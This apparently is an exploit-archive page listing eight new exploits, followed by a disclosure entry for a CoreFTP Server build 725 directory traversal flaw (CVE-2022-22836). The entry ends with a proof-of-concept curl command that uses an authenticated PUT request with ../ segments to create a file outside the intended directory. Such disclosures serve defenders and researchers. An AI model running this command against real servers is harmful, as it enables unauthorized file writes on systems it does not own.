6a94460ed6
8 changes to exploits/shellcodes VUPlayer 2.49 - '.wax' Local Buffer Overflow (DEP Bypass) CoreFTP Server build 725 - Directory Traversal (Authenticated) HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS) Online Railway Reservation System 1.0 - 'id' SQL Injection (Unauthenticated) Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Online Railway Reservation System 1.0 - Admin Account Creation (Unauthenticated) Online Railway Reservation System 1.0 - 'Multiple' Stored Cross Site Scripting (XSS) (Unauthenticated) Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)
15 lines
No EOL
554 B
Text
15 lines
No EOL
554 B
Text
# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
|
|
# Date: 08/01/2022
|
|
# Exploit Author: LiamInfosec
|
|
# Vendor Homepage: http://coreftp.com/
|
|
# Version: build 725 and below
|
|
# Tested on: Windows 10
|
|
# CVE : CVE-2022-22836
|
|
|
|
# Description:
|
|
|
|
CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.
|
|
|
|
# Proof of Concept:
|
|
|
|
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops |